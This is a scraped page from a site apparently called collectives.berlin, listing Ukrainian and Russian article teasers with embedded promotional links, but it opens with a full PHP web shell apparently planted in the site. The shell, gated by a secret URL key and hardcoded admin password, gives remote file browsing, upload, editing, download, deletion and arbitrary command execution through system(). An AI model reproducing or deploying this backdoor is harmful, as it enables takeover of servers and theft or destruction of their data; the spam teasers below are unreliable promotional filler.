if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 10 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Налаштування корпоративної мережі без помилок та ризиків

    Розпочніть з якісного планування IP-адрес. Рекомендується використовувати статичні адреси для сервісів, таких як сервери, принтери та маршрутизатори. Визначте підмережі в залежності від кількості пристроїв, proitservice.com.ua які підключаються, щоб забезпечити зручний доступ та управління. Не забувайте про резервне копіювання налаштувань – це критично для підтримки стабільності вашої системи. Обрані маршрутизатори і комутатори повинні відповідати вимогам вашої…

    Click or not…

  • Як побудувати гармонійні стосунки у вашій родині щодня

    Для зміцнення теплих взаємин у родині важливо щоденно практикувати відкриту комунікацію. Висловлення своїх почуттів і потреб без страху осуду створює простір для довіри та взаєморозуміння. Приділяйте увагу регулярним обговоренням важливих питань, https://womanworld.com.ua адже це допомагає уникнути непорозумінь та конфліктів у майбутньому. Наступний крок – це спільні активності. Витрачайте час разом, займаючись улюбленими справами, будь ласка,…

    Click or not…

  • Секрети успішного вирощування розсади в домашніх умовах

    Вибір правильного ґрунту – ключ до успішного розвитку молодих рослин. Використовуйте легкий, agrotis.com.ua водопроникний субстрат, що включає торф, перліт та компост. Це сприятиме розвитку кореневої системи і запобігатиме застою вологи. Температура повітря має відповідати потребам конкретних культур. Більшість кімнатних рослин потребують температури в межах 18-22°C. Зверніть увагу на наявність яскравого, але розсіяного світла, що допоможе…

    Click or not…

  • Практичні поради для поліпшення здоров’я вашого кишківника

    Додайте до свого меню більше клітковини, споживаючи овочі, фрукти, цільнозернові продукти та бобові. Включення цих продуктів сприяє ефективному переварюванню їжі, mylikari.com.ua а також покращує мікрофлору кишечника. Зменште споживання оброблених харчових продуктів. Вони містять багато шкідливих добавок, цукру і насичених жирів, що негативно впливають на травлення. Вибирайте свіжі інгредієнти та готуйте власні страви. Регулярно вживайте пробіотики…

    Click or not…

  • Модні тренди 2026 для стильного життя та впевненості в собі

    Віддайте перевагу кольоровим пальто з екологічних матеріалів. Це не лише підкреслить ваш стиль, а й свідчитиме про свідоме споживання. Обирайте моделі з насиченими відтінками, modny.com.ua такими як смарагдовий або глибокий бордовий. На піку популярності будуть широкі штанини. Цей фасон додає свободи рухів і підходить до будь-якого типу фігури. Поєднуйте їх із облеглими блузами або светрами…

    Click or not…

  • От знакомства к отношениям: главные этапы сближения

    В современном мире, https://palkalove.com.ua где взаимодействие между людьми стало более доступным благодаря технологиям, процесс знакомства и перехода к отношениям стал более сложным и многогранным. Понимание основных этапов сближения может помочь людям не только в личной жизни, но и в построении здоровых и крепких отношений. В данной статье мы рассмотрим ключевые этапы, которые обычно проходят люди…

    Click or not…

  • Как понять, что отношения изжили себя

    Отношения — это сложный и многогранный процесс, который требует постоянного внимания и работы с обеих сторон. Однако, иногда приходит момент, когда отношения начинают терять свою значимость и эмоциональную насыщенность. Важно уметь распознать признаки того, что отношения изжили себя, чтобы не тратить время на то, https://secretheat.com.ua/ что уже не приносит радости и удовлетворения. Первый и, пожалуй,…

    Click or not…

  • Стильні натуральні тканини для літа для вашого гардеробу

    Літні образи варто наповнити матеріалами, https://karolinka.com.ua/ які забезпечують комфорт та прохолоду. Льон і бавовна – це найкращі варіанти для спекотних днів. Вибираючи одяг з цих волокон, ви гарантовано отримаєте легкість і стилістику, яка підкреслить вашу індивідуальність. Льон має відмінну здатність відводити вологу та чудово пропускає повітря, що робить його відмінним вибором для жінок та чоловіків.…

    Click or not…

  • Біометричні технології у системах безпеки сучасного суспільства

    Інтеграція фізичних характеристик людини в процеси автентифікації забезпечує високий рівень надійності. Рекомендовано впроваджувати рішення на основі відбитків пальців, розпізнавання обличчя або райдужної оболонки ока, goodtech.com.ua оскільки їх точність суттєво підвищує захист конфіденційних даних. Використання технологій розпізнавання дозволяє зменшити ризик несанкціонованого доступу. Наприклад, системи, що застосовують сканери відбитків пальців, демонструють 99% точність у ідентифікації особи за…

    Click or not…

  • Як обрати безпечні іграшки для дітей без шкоди для здоров’я

    При виборі іграшок зверніть увагу на маркування. Продукти, позначені знаком “CE” або іншими сертифікатами відповідності, проходять контроль на безпечність. Це свідчить про те, https://labirint-kids.com.ua/ що виріб відповідає європейським стандартам. Остерігайтеся небезпечних матеріалів. Вироби з токсичними речовинами, такими як свинець або фталати, можуть становити загрозу. Досліджуйте склад, ознайомлюючись із описами на упаковці. Вибирайте предмети без дрібних…

    Click or not…